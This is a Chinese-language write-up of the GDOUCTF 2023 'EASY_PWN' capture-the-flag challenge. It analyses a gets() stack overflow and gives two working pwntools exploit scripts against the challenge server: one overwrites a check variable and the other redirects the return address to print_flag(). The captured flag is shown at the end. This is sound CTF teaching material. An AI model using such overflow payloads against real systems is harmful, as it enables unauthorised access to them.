【GDOUCTF 2023】EASY_PWN
收获
- 比较经典的栈溢出,但是不要被前面的猜随机数迷惑了,直接溢出修改关键值
(2023年4月16日)【GDOUCTF 2023】EASY_PWN
思路
在 Ubuntu 下分析文件,并给予执行权限运行:
用 64 位 IDA 打开,定位到主函数:
主要是函数 check():
注意到有个 print_flag() 函数:
这个函数读取了靶机上的 flag.txt 文件,并将里面的内容输出,因此执行这个函数可以直接获得 flag
在 check() 函数的前半段有一个生成随机数的代码:
这里调用 urandom 文件往 buf 中写入随机数
然后通过 gets() 获取用户输入 s1,如果 s1 与 随机生成的 buf 相等,就将 v5 的值改为 1
当 v5 == 1 时就可以调用 print_flag() 函数输出 flag
由于这里输入使用的是 gets() 函数,也就是说 s1 是必定可以溢出的
观察栈中数据的位置,发现 v5 在 s1 的下方,因此 v5 是可以被 s1 通过 gets() 覆盖的
这里注意:
不要被前面的猜随机数给迷惑了
是否执行print_flag()函数取决于v5的值是否非 0,而与是否猜对buf中的内容无关
因此大可不必去管urandom生成的随机数是什么
除此之外,通过 s1 直接覆盖返回值执行 print_flag() 函数也是可以的
因此这个题有两种思路:
- 通过溢出
s1修改v5的值,只要将v5改为非 0 值即可 - 通过溢出
s1修改函数返回地址,使其直接跳转到print_flag()函数
脚本
解法一
将 v5 的值修改为 1(或者其他非 0 值都可以)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
if content == 1:
io = process("./easypwn")
else:
io = remote("node1.anna.nssctf.cn", 28291)
payload = b'a' * (0x1F - 0x04) + p64(1) # 从s1到v5需要填充0x1F - 0x04个字节,p64(1)将v5修改为1
io.sendlineafter("Password:\n", payload)
io.interactive()
main()解法二
直接将返回地址修改为
print_flag()的地址
(不过有一点不太明白,既然开启了 PIE 地址随机化,为什么还能直接得到print_flag()的真实地址)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
elf = ELF("./easypwn")
print_flag = elf.symbols['print_flag'] # 通过elf获取ptint_flag()函数的地址
# ptint_flag_addr = 0x0011D5 # 在IDA直接查看ptint_flag()函数的地址,两种方法都可以
def main():
if content == 1:
io = process("./easypwn")
else:
io = remote("node1.anna.nssctf.cn", 28291)
payload = b'a' * (0x1F + 0x08) + p64(print_flag)
# payload = b'a' * (0x1F + 0x08) + p64(ptint_flag_addr) # 两种方法都可以
io.sendlineafter("Password:\n", payload)
io.interactive()
main()结果
NSSCTF{2e00ef92-c970-45a0-b36e-2287f14151d5}
评论
















